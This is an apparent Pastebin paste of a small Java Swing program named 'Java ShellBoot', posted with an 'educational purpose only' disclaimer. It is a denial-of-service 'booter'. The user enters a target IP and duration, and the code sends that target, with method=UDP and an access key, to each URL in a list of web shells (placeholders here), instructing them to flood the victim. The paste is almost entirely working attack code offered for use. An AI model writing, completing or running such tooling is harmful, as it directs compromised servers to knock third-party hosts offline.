Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- This is a java project made for fun, and for build my java understandment up, this is only for educationel Purpose only, i'm not responsable for any damage done made with this tool.
- [jGui.java] :
- /**
- * Java shell booter.
- * @author (AnonCat)
- * @Skype (jAnoncat)
- * @version (1.2Beta)
- */
- import java.awt.Color;
- import java.awt.event.ActionEvent;
- import java.awt.event.ActionListener;
- import java.io.IOException;
- import java.net.MalformedURLException;
- import java.net.URL;
- import java.net.URLConnection;
- import javax.swing.*;
- public class jGui extends JFrame {
- private static final long serialVersionUID = 1L;
- public static void showFrame(String string,int width,int height) {
- JPanel jp = new JPanel();
- JButton bStart = new JButton("Start");
- JLabel Jl = new JLabel("IP:");
- JLabel JlP = new JLabel("Time:");
- JFrame Jf = new JFrame(string);
- final JTextField IP = new JTextField();
- final JTextField Port = new JTextField();
- Jf.setSize(width, height);
- Jf.setContentPane(jp);
- Jf.setResizable(false);
- Jf.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
- jp.setLayout(null);
- jp.add(Jl).setBounds(1, 1, 15, 30);
- //Set Compenments Colors
- jp.setBackground(Color.BLACK);
- bStart.setBackground(Color.black);
- bStart.setForeground(Color.green);
- Jl.setForeground(Color.green);
- Port.setBackground(Color.black);
- IP.setBackground(Color.black);
- Port.setForeground(Color.GREEN);
- IP.setForeground(Color.GREEN);
- JlP.setForeground(Color.green);
- jp.add(IP).setBounds(16, 1, 184, 30);
- jp.add(JlP).setBounds(1, 41, 199, 30);
- jp.add(bStart).setBounds(1, 75, 199, 30);
- jp.add(Port).setBounds(36, 41, 164, 30);
- Jf.setVisible(true);
- //Button Start
- bStart.addActionListener(new ActionListener() {
- @Override
- public void actionPerformed(ActionEvent arg0) {
- Boot(IP.getText(),Integer.parseInt(Port.getText()));
- }
- });
- }
- public static void main(String[] args) {
- showFrame("Java ShellBoot" , 210,135);
- }
- @SuppressWarnings("unused")
- private static void Boot(String i,int t) {
- for(int sh = 0; sh< SL.ShellList.length;sh++) {
- try {
- URL Shell = new URL(SL.ShellList[sh] + i+"&port=80" + "&time=" + t+"&method=UDP&key=USER53cbc482834d");
- URLConnection shellcon = Shell.openConnection();
- shellcon.connect();
- } catch (MalformedURLException e) {
- PrivateErrorMessage("Unknown Websites");
- } catch (IOException e) {
- PrivateErrorMessage("Unknown Host");
- }
- }
- }
- private static void PrivateErrorMessage(String error) {
- System.out.println(error);
- }
- }
- [SL.java] :
- public class SL {
- public static String[] ShellList = {
- //Shells Goes here.
- "http://Shell.com/",
- "http://Shell.com/"
- };
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement